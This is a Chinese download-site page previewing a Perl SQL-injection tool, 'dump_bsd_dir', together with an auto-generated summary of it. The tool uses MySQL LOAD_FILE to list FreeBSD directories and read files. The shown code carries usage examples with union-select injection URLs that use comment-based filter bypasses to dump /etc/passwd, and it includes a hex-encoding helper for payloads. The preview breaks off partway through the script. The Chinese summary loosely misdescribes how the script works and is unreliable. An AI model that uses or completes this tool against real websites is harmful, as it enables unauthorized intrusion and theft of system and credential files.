Perl脚本利用load_file函数读取FreeBSD目录内容
本文档主要讨论的是如何在MySQL中利用`LOAD_FILE()`函数在FreeBSD系统上读取目录。标题中的"mysql load_file读freebsd目录.txt"表明主题集中在MySQL(一种关系型数据库管理系统)的特性上,即通过`LOAD_FILE()`函数来处理FreeBSD(一种类UNIX操作系统)的文件系统,以便在查询中加载目录内容。 `LOAD_FILE()`函数在MySQL中主要用于从文件中读取数据,将其作为字符串插入到查询结果中。在FreeBSD环境中,由于权限和安全限制,直接使用这个函数可能需要额外的权限或者绕过方式。文档中提供的Perl脚本示例展示了一种方法,通过使用`LWP::UserAgent`库来实现HTTP请求,间接地读取指定的目录内容,然后将目录列表作为参数传递给`LOAD_FILE()`函数。 首先,脚本定义了几个关键变量,如`$rep_word`用于替换敏感词(如"FUCKBSD"),`$sep_flag`用于分隔文件路径,`$user_agent`模拟浏览器用户代理以绕过一些网站的防爬虫机制。接下来,脚本提供了两个命令行选项: `-u`(注入URL)和 `-d` 或 `-f`(指定目标目录或文件)。例如,`$0-uhttp://www.xxx.com/index.php?id=-1/**/union/**/select/**/1,FUCKBSD,3-d/etc`表示通过URL获取目录列表,`-f/etc/passwd`则指定了读取`/etc/passwd`文件。 脚本的核心部分包括`usage`函数,用于显示帮助信息;`hex_str`函数,用于将十六进制字符串转换为可打印的格式。`parse_freebsd_dir`函数可能是用来解析FreeBSD的目录结构(参考`dirent.h`头文件),该结构包含文件描述符(td_fileno)、记录长度(td_reclen)等字段。 实际上,脚本并未提供真正的目录解析和`LOAD_FILE()`函数的具体用法,但其思路是通过外部工具(如HTTP请求)获取目录内容,然后在MySQL查询中通过`LOAD_FILE()`加载这些数据。在实际操作中,可能需要处理权限问题、编码转换以及可能的网络请求失败等问题。 这篇文章主要关注的是如何在MySQL中利用`LOAD_FILE()`功能结合FreeBSD系统的特定目录结构,实现数据抓取和查询。它展示了如何通过编程手段绕过系统的限制,但同时也提示了在生产环境中可能遇到的安全性和合规性问题。在实际应用时,开发者需要注意权限控制,以及遵守相关法律法规,确保合法使用此类技术。
use LWP::UserAgent;
use strict;
use Getopt::Std;
use vars qw / %opt /;
use constant True => 1;
my $rep_word = "FUCKBSD";
my $sep_flag = "%!!";
my $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;.NET CLR 1.1.4122)";
my $target = '';
my $target_rep = '';
my $dir = '';
my $file = '';
sub usage{
print STDERR <<"EOF";
dump_bsd_dir : List freebsd DIRS USE load_file with MYSQL
By xi4oyu evil.xi4oyu#gmail.com
http://www.pentestday.com
usage: $0 [options]
-u : Inject url
-d|-f : DIR/FILE to list
Ext: $0 -u http://www.xxx.com/index.php?id=-1/**/union/**/select/**/1,FUCKBSD,3 -d /etc
$0 -u http://www.xxx.com/index.php?id=-1/**/union/**/select/**/1,FUCKBSD,3 -f /etc/passwd
exit;
}
sub hex_str{
my $hex_str = shift;
my $hexed_str = "0x";
$hexed_str .= unpack("H*",$hex_str);
return $hexed_str;
}
#This function parsed freebsd dirent struct and print out result
=pod
src/sys/sys/dirent.h
Ref:http://fxr.watson.org/fxr/source/sys/dirent.h?v=FREEBSD7
49
50 struct dirent {
51 __uint32_t d_fileno; /* file number of entry */
52 __uint16_t d_reclen; /* length of this record */
53 __uint8_t d_type; /* file type, see below */
54 __uint8_t d_namlen; /* length of string in d_name */
55 #if __BSD_VISIBLE
56 #define MAXNAMLEN 255
57 char d_name[MAXNAMLEN + 1]; /* name must be no longer than this */
58 #else
59 char d_name[255 + 1]; /* name must be no longer than this */
60 #endif
剩余6页未读,继续阅读
- 粉丝: 7
- 资源: 282
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
- C++标准程序库:权威指南
- Java解惑:奇数判断误区与改进方法
- C++编程必读:20种设计模式详解与实战
- LM3S8962微控制器数据手册
- 51单片机C语言实战教程:从入门到精通
- Spring3.0权威指南:JavaEE6实战
- Win32多线程程序设计详解
- Lucene2.9.1开发全攻略:从环境配置到索引创建
- 内存虚拟硬盘技术:提升电脑速度的秘密武器
- Java操作数据库:保存与显示图片到数据库及页面
- ISO14001:2004环境管理体系要求详解
- ShopExV4.8二次开发详解
- 企业形象与产品推广一站式网站建设技术方案揭秘
- Shopex二次开发:触发器与控制器重定向技术详解
- FPGA开发实战指南:创新设计与进阶技巧
- ShopExV4.8二次开发入门:解决升级问题与功能扩展